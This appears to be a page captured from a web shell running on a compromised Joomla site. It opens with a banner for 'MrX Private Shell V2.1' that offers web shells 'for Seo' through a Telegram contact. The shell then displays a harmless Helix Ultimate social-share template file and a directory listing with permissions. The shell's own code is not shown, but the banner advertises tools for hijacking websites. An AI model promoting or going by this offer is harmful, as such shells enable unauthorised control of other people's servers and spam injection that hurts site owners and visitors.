__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Helix Ultimate Framework
* @author JoomShaper https://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2021 JoomShaper
* @license https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
defined ('JPATH_BASE') or die();
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
$url = Route::_(ContentHelperRoute::getArticleRoute($displayData->id . ':' . $displayData->alias, $displayData->catid, $displayData->language));
$root = Uri::base();
$root = new Uri($root);
$url = $root->getScheme() . '://' . $root->getHost() . $url;
$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$params = $template->params;
$tmpl_params = $template->params;
$socialShares = $tmpl_params->get("social_share_lists");
if( is_array($socialShares) && $params->get('social_share') ) : ?>
<div class="article-social-share">
<div class="social-share-icon">
<ul>
<?php foreach( $socialShares as $socialSite ): ?>
<?php if( $socialSite == 'facebook'): ?>
<li>
<a class="facebook" onClick="window.open('https://www.facebook.com/sharer.php?u=<?php echo $url; ?>','Facebook','width=600,height=300,left='+(screen.availWidth/2-300)+',top='+(screen.availHeight/2-150)+''); return false;" href="https://www.facebook.com/sharer.php?u=<?php echo $url; ?>" title="<?php echo Text::_('HELIX_ULTIMATE_SHARE_FACEBOOK'); ?>">
<span class="fab fa-facebook" aria-hidden="true"></span>
</a>
</li>
<?php endif; ?>
<?php if( $socialSite == 'twitter'): ?>
<li>
<a class="twitter" title="<?php echo Text::_('HELIX_ULTIMATE_SHARE_TWITTER'); ?>" onClick="window.open('https://twitter.com/share?url=<?php echo $url; ?>&text=<?php echo str_replace(" ", "%20", $displayData->title); ?>','Twitter share','width=600,height=300,left='+(screen.availWidth/2-300)+',top='+(screen.availHeight/2-150)+''); return false;" href="https://twitter.com/share?url=<?php echo $url; ?>&text=<?php echo str_replace(" ", "%20", $displayData->title); ?>">
<span class="fab fa-twitter" aria-hidden="true"></span>
</a>
</li>
<?php endif; ?>
<?php if( $socialSite == 'linkedin'): ?>
<li>
<a class="linkedin" title="<?php echo Text::_('HELIX_ULTIMATE_SHARE_LINKEDIN'); ?>" onClick="window.open('https://www.linkedin.com/shareArticle?mini=true&url=<?php echo $url; ?>','Linkedin','width=585,height=666,left='+(screen.availWidth/2-292)+',top='+(screen.availHeight/2-333)+''); return false;" href="https://www.linkedin.com/shareArticle?mini=true&url=<?php echo $url; ?>" >
<span class="fab fa-linkedin" aria-hidden="true"></span>
</a>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
</div>
<?php endif; ?>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| blog | Folder | 0775 |
|
|
| icons | Folder | 0775 |
|
|
| info_block | Folder | 0775 |
|
|
| associations.php | File | 512 B | 0664 |
|
| blog_style_default_item_title.php | File | 2.11 KB | 0664 |
|
| blog_style_default_links.php | File | 606 B | 0664 |
|
| categories_default.php | File | 1.22 KB | 0664 |
|
| categories_default_items.php | File | 689 B | 0664 |
|
| category_default.php | File | 3.57 KB | 0664 |
|
| full_image.php | File | 4.28 KB | 0664 |
|
| info_block.php | File | 2.38 KB | 0664 |
|
| intro_image.php | File | 6 KB | 0664 |
|
| intro_info_block.php | File | 1.97 KB | 0664 |
|
| language.php | File | 766 B | 0664 |
|
| open_graph.php | File | 1.73 KB | 0664 |
|
| options_default.php | File | 1.67 KB | 0664 |
|
| rating.php | File | 1.07 KB | 0664 |
|
| readmore.php | File | 1.98 KB | 0664 |
|
| related_article.php | File | 1.88 KB | 0664 |
|
| related_article_large.php | File | 2.18 KB | 0664 |
|
| related_articles.php | File | 1.9 KB | 0664 |
|
| social_share.php | File | 2.68 KB | 0664 |
|
| tags.php | File | 1.26 KB | 0664 |
|
| text_filters.php | File | 1.27 KB | 0664 |
|